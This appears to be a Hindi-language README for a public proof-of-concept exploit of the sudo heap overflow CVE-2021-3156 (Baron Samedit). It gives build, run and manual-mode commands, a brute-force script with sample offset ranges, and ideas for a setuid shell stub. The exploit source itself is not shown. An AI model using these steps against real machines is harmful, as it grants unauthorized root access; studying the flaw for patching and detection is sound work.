CVE-2021-3156 PoC

परिचय

यह CVE-2021-3156 सुडो में कमजोरी (जिसे Qualys द्वारा Baron Samedit नाम दिया गया है) के लिए एक एक्सप्लॉइट है।

उपयोग विधि

बिल्ड:

$ make

लक्ष्य सूची:

$ ./sudo-hax-me-a-sandwich

चलाएँ:

$ ./sudo-hax-me-a-sandwich <target_number>

मैन्युअल मोड:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ब्रूट फोर्स लक्ष्य का पता लगाना (प्रायोगिक)

सुनिश्चित करें कि GNU parallel स्थापित है।

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

प्रयास करने के लिए कुछ पैटर्न:

$ ./brute.sh 90 120 50 70 150 300

यह सभी उपलब्ध कोर का उपभोग करेगा। netflix & brute करने का प्रयास न करें।

योगदान

रिपॉजिटरी में योगदान करें PR भेजें (समझदारी से), मैं मर्ज कर सकता हूँ। एक स्टार दें

कुछ विचार:

• अधिक लक्ष्य
• लक्ष्य का पता लगाना
• अन्य शोषण रणनीतियाँ
• अधिक स्वतंत्र कार्यक्षमता:
  • साझा लाइब्रेरी hax.c को शामिल करें (कृपया कम करें, ELF golf + asm setuid / execve stub)
  • hax.c में mkdir तर्क जोड़ें
• निर्देशिका / साझा लाइब्रेरी की सफाई